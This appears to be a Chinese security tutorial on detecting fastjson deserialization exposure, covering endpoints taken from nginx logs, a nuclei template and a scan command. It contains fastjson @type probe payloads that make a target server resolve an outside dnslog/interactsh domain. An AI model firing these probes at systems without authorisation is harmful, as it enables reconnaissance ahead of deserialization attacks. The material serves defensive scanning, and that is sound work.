基于nginx流量URL探测fastjson DNS 嗅探, 众所周知, fastjson漏洞频出,最保险的方式是fastjson配置safemode参数来防止fastjson反序列化漏洞, 但是有的时候会有safemode参数配置错误或者忘记配置的情况,这里介绍一个通过payload扫描识别fastjson DNS 嗅探的方法。
主要思路:
对于web扫描,如果只获取域名而不知有哪些接口,这样的扫描能力是有限的,这种方式属于"黑盒扫描"。 有时漏洞可能隐蔽在业务的API接口中, 因此在获取业务的具体接口的基础上进行扫描, 可以得到较好的扫描效果。 nginx日志信息中有大量的URL请求,可以收集并用于安全扫描, 这种方式可以看作"灰盒扫描"。
操作要点:
nuclei是一个开源的基于漏洞模板的扫描工具, 可以利用该工具自定义payload进行扫描。
目标是识别fastjson 的dns嗅探接口,选取的payload如下:
{"@type":"java.net.Inet4Address","val":"vqzdxl.dnslog.cn"}
{"@type":"java.net.Inet6Address","val":"vqzdxl.dnslog.cn"}
{"@type":"java.net.InetSocketAddress"{"address":,"val":"vqzdxl.dnslog.cn"}}
{{"@type":"java.net.URL","val":"vqzdxl.dnslog.cn"}:"x"}
下面制作nuclei模板(复用fastjson其他漏洞的模板,只关注请求即可):
id: fastjson-dns-detect
info:
name: Fastjson 1.2.62 - Remote Code Execution
author: zh
severity: critical
description: Fastjson 1.2.62 is susceptible to a deserialization remote code execution vulnerability.
reference:
- https://github.com/tdtc7/qps/tree/4042cf76a969ccded5b30f0669f67c9e58d1cfd2/Fastjson
- https://github.com/wyzxxz/fastjson_rce_tool
classification:
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
cvss-score: 10.0
cwe-id: CWE-77
tags: fastjson,rce,deserialization,oast
requests:
- raw:
- |
POST / HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json
{
"@type":"java.net.Inet4Address",
"val":"{{interactsh-url}}"
}
matchers-condition: and
matchers:
- type: word
part: interactsh_protocol # Confirms DNS Interaction
words:
- "dns"
- type: status
negative: true
status:
- 200
说明:
执行下面命令进行扫描,请根据自己的情况修改命令:
cat url-subdomain.txt | nuclei -t ./fastjson.yaml,./fastjson_1.yaml,./fastjson_2.yaml,./fastjson_3.yaml -debug
参数解释:
url-subdomain.txt URL路径文件
-t 指定nuclei模板
-debug 开启debug模式, 看到请求
在扫描过程中,成功识别到dns嗅探的API接口。